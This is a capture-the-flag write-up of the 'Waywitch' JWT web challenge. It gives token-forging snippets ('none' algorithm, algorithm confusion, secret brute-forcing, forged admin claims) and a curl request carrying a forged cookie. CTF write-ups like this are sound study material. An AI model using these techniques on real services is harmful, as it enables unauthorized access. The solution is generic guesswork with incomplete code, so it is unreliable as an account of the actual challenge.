2024 Hack The Boo: Waywitch

Challenge Information

AttributeDetails
Event2024 Hack The Boo
CategoryWeb
ChallengeWaywitch

Summary

The Waywitch challenge is a web security challenge involving JWT (JSON Web Token) authentication manipulation. The application uses JWT for session management, but contains vulnerabilities that allow attackers to forge or manipulate tokens to gain unauthorized access to protected resources.


Analysis

Application Overview

Frontend: HTTPS-based web application with:

  • User authentication system
  • Cookie-based session management
  • Static assets served over HTTPS

Backend: Node.js/Express server featuring:

  • Database integration (SQLite)
  • JWT token generation and validation
  • Protected routes requiring authentication
  • WebSocket communication

Key Architecture Components

Server Setup (src/index.js):

const express = require("express");
const https = require("https");
const fs = require("fs");
const app = express();
const cookieParser = require("cookie-parser");
const bodyParser = require("body-parser");
const nunjucks = require("nunjucks");
const routes = require("./routes");
const Database = require("./database");
const db = new Database("party.db");
const privateKey = fs.readFileSync("/tmp/server.key", "utf8");
const certificate = fs.readFileSync("/tmp/server.cert", "utf8");
const credentials = { key: privateKey, cert: certificate };
app.use(bodyParser.urlencoded({ extended: false }));
app.use(express.json());
app.use(cookieParser());
nunjucks.configure("views", {
autoescape: true,
express: app,
});
app.set("views", "./views");
app.use("/static", express.static("./static"));
app.use(routes(db));
(async () => {
await db.connect();
await db.migrate();
https.createServer(credentials, app).listen(1337, "0.0.0.0", () => {
console.log("HTTPS Server listening on port 1337");
});
})();

Vulnerability Analysis

The application likely has JWT vulnerabilities in:

  1. Token Generation: Weak secret or improper algorithm selection
  2. Token Validation: Missing or incomplete validation checks
  3. Token Parsing: Improper handling of JWT claims
  4. Cookie Storage: Insecure token handling in cookies

Solution

Step 1: Identify JWT Implementation

Examine the authentication flow to find where JWTs are created and validated:

  • Check /routes/index.js for authentication endpoints
  • Look for JWT library usage (jsonwebtoken, similar)
  • Identify the secret key or algorithm used

Step 2: Analyze Token Structure

Decode a valid JWT to understand the token structure:

import jwt
import json
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
# Note: Don't verify for now, just decode
decoded = jwt.decode(token, options={"verify_signature": False})
print(json.dumps(decoded, indent=2))

Step 3: Exploit JWT Vulnerability

Common JWT vulnerabilities to test:

Algorithm Confusion:

# Change algorithm from HS256 to RS256 with public key
import jwt
payload = {"user_id": 1, "username": "admin"}
# If the server uses RS256 verification but accepts HS256 with the public key
forged_token = jwt.encode(payload, public_key, algorithm="HS256")

None Algorithm:

# Set algorithm to "none"
forged_token = jwt.encode(payload, "", algorithm="none")

Weak Secret:

# Attempt to brute force the secret
secrets = ["secret", "password", "123456"]
for secret in secrets:
try:
decoded = jwt.decode(token, secret, algorithms=["HS256"])
print(f"Found secret: {secret}")
except:
pass

Step 4: Manipulate Token Claims

Once you understand how to forge tokens, manipulate claims to escalate privileges:

import jwt
# Create forged admin token
payload = {
"user_id": 999,
"username": "admin",
"role": "administrator",
"iat": time.time()
}
forged_token = jwt.encode(payload, secret_or_key, algorithm="HS256")

Step 5: Use Forged Token

Send the forged token in requests:

Terminal window
curl -H "Cookie: token=<forged_token>" https://localhost:1337/admin

Step 6: Extract Flag

Access protected resources using the forged admin token to retrieve the flag.


Key Takeaways

  • JWT Security: JWT tokens must be properly validated with strong secrets and appropriate algorithms
  • Algorithm Confusion: Servers must strictly enforce expected algorithms and reject mismatches
  • None Algorithm: The “none” algorithm should never be allowed in production
  • Secret Strength: JWT secrets must be cryptographically strong and protected
  • Token Expiration: Always check token expiration times
  • HTTPS Essential: JWTs should only be transmitted over HTTPS to prevent interception
  • Input Validation: Validate all token claims before trusting them

Tools Used

  • PyJWT: Python library for JWT encoding/decoding
  • curl: For making HTTP requests with custom headers
  • Burp Suite: For intercepting and modifying cookies and headers
  • Browser DevTools: For inspecting cookies and network traffic

References